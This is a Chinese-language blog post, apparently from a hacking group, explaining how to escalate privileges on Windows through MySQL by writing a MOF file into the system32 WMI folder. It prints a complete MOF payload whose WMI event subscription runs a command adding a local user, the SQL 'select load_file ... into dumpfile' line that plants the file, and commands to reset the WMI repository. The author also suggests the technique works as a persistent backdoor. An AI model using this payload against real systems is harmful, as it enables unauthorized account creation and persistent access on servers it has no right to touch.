QQ love member No. 3 seed player

know it then do it && APT086&QQ愛安全实验室成员

Mysql mof 提权小结

26 Aug 2019 » 提权

[TOC]

0x1 前言

Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:

  1. 将MOF文件执行为命令行参数及Mofcomp.exe文件
  2. 使用IMofCompiler借口和$CompileFile方法
  3. 拖放到%SystemRoot%\System32\Wbem\MOF文件夹下的MOF文件中

使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。

0x2 利用技巧

新建文件 nullevt.mof

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
 {
 EventNamespace = "Root\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
 "Where TargetInstance Isa \"Win32_LocalTime\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 };

instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user demo xxxxx /add\")";
 };

instance of __FilterToConsumerBinding
 {
 Consumer = $Consumer;
 Filter = $EventFilter;
 };

我们将 nullevt.mof 脚本上传到一个可读可写的目录下,然后执行Mysql 语句,导出到 %SystemRoot%\System32\Wbem\MOF 目录下,利用的就是该目录下每分钟会在特定的时间去执行一次的特性,来执行我们的 DOS 命令。

mof_1

执行SQL语句 RT:

select load_file("C:\\phpStudy\\PHPTutorial\\WWW\\nullevt.mof") into dumpfile 'c:\\windows\\system32\\wbem\\mof\\nullevt.mof'

mof2

导入后,系统会自动运行该文件。

运行成功后查看已经成功添加了 demo 用户

udf_3

0x3 总结

  1. 操作系统版本不宜太高,win7 和 2008 测试失败,2003测试成功(因为需要访问到system32中目录)或说mysql启动身份具有权限去访问和写入C:/windows/system32/mof目录。

  2. 原理:

    放置在C:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。

  3. 解决循环创建用户

    net stop winmgmt

    删除文件夹下内容 c:/windows/system32/wbem/repository

    net start winmgmt

    个人感觉可以当作一个后门来使用,不过我在测试的时候调用 net.exe 的时候杀毒软件会拦截。


「 转载请声明博客地址及APT086&QQ愛安全实验室 」